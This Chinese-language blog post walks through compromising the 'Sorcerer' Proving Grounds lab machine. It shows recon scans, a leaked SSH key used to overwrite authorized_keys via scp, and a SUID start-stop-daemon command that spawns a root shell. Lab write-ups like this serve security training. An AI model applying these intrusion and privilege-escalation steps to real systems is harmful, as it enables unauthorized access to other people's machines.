iT邦幫忙

2025 iThome 鐵人賽

DAY 21
0
Security

滲透探險 30 天:靶機挑戰記系列 第 21

PG Practice: Sorcerer 攻略

  • 分享至 

  • xImage
  •  

Recon

打靶機的起手式就是看看有甚麼服務是開啟的
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.214.100 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.214.100 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.214.100 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.214.100 -type recon; 

https://ithelp.ithome.com.tw/upload/images/20251004/201787910bE03Cllli.png

Port 7742 上面有一個網站在跑,用 FFUF 做個路徑爆破吧
https://ithelp.ithome.com.tw/upload/images/20251004/20178791Al3krhPZHN.png

從 FFUF 的結果可以找到 zipfiles 的路徑,裡面有很多 zip 檔案,全部下載下來瞧瞧
https://ithelp.ithome.com.tw/upload/images/20251004/20178791OEc9RywWPR.png

Initial Access

在 Max 的檔案裡面找到他的 id_rsa 還有 authorized keys ,用來登入看看

ssh -i id_rsa max@$tIP

好吧,Max 登入失敗
https://ithelp.ithome.com.tw/upload/images/20251004/20178791rJlyZ8mV0f.png

看 authorized_keys 的文件,他看起來會把我們導入到一支叫做 scp_wrapper.sh的 腳本
https://ithelp.ithome.com.tw/upload/images/20251004/20178791GEKgCtMNiU.png

由 scp_wrapper.sh 中看起來,只有 scp 過的了關,其他都會得到 ACCESS DENIED 的結果
https://ithelp.ithome.com.tw/upload/images/20251004/201787916Pjnvo6SRA.png

scp 是可以讓我們傳東西到遠端的指令,也許這台把機是希望我們覆蓋 authorized_keys 這樣我們才能 ssh 登入

因為我們知道 max 是一個有效的使用者,而且我們有他的 id_rsa
所以最好的是用 max 的身分去上傳我們任何我們想要的東西
這邊我們希望可以改變 authorized_keys 的內容,通常這裏面放的是公鑰
所以現在我們要先產生一組公私鑰

ssh-keygen -f max

接著用 Max 的身分上傳我們新產的公鑰到 Max 的 ssh 下面,並且寫入 authorized_keys
這樣我們就能用新產的私鑰登入
這邊我們使用舊的 SCP protocol 去傳檔案

scp -i /home/kali/2_PG_PRACTICE/Sorcerer/home/max/.ssh/id_rsa  -O /home/kali/2_PG_PRACTICE/Sorcerer/home/max/kali_ssh/max.pub max@$tIP:/home/max/.ssh/authorized_keys

https://ithelp.ithome.com.tw/upload/images/20251004/20178791sBppYxuhIX.png
現在可以使用新產的私鑰登入主機了

ssh -i max max@$tIP

https://ithelp.ithome.com.tw/upload/images/20251004/20178791r05n9SR2ya.png

登入後,我們在 Dennis 目錄下面找到第一把 flag
https://ithelp.ithome.com.tw/upload/images/20251004/20178791poeBctSwEB.png

Privilege Escalation

按照慣例我們用 Linpeas 收集提權資訊
在 SUID 的區塊中,有一個 start-stop-daemon 被標黃底
https://ithelp.ithome.com.tw/upload/images/20251004/20178791nDKK916SmK.png

接著我們去 GTFObin 找看看有沒有相關的指令 https://gtfobins.github.io/gtfobins/start-stop-daemon/#suid
打進指令後順利提權! 收工囉~

/usr/sbin/start-stop-daemon -n $RANDOM -S -x /bin/sh -- -p

https://ithelp.ithome.com.tw/upload/images/20251004/201787917TBNiwib2u.png


上一篇
PG Practice: Zenphoto 攻略
系列文
滲透探險 30 天:靶機挑戰記21
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言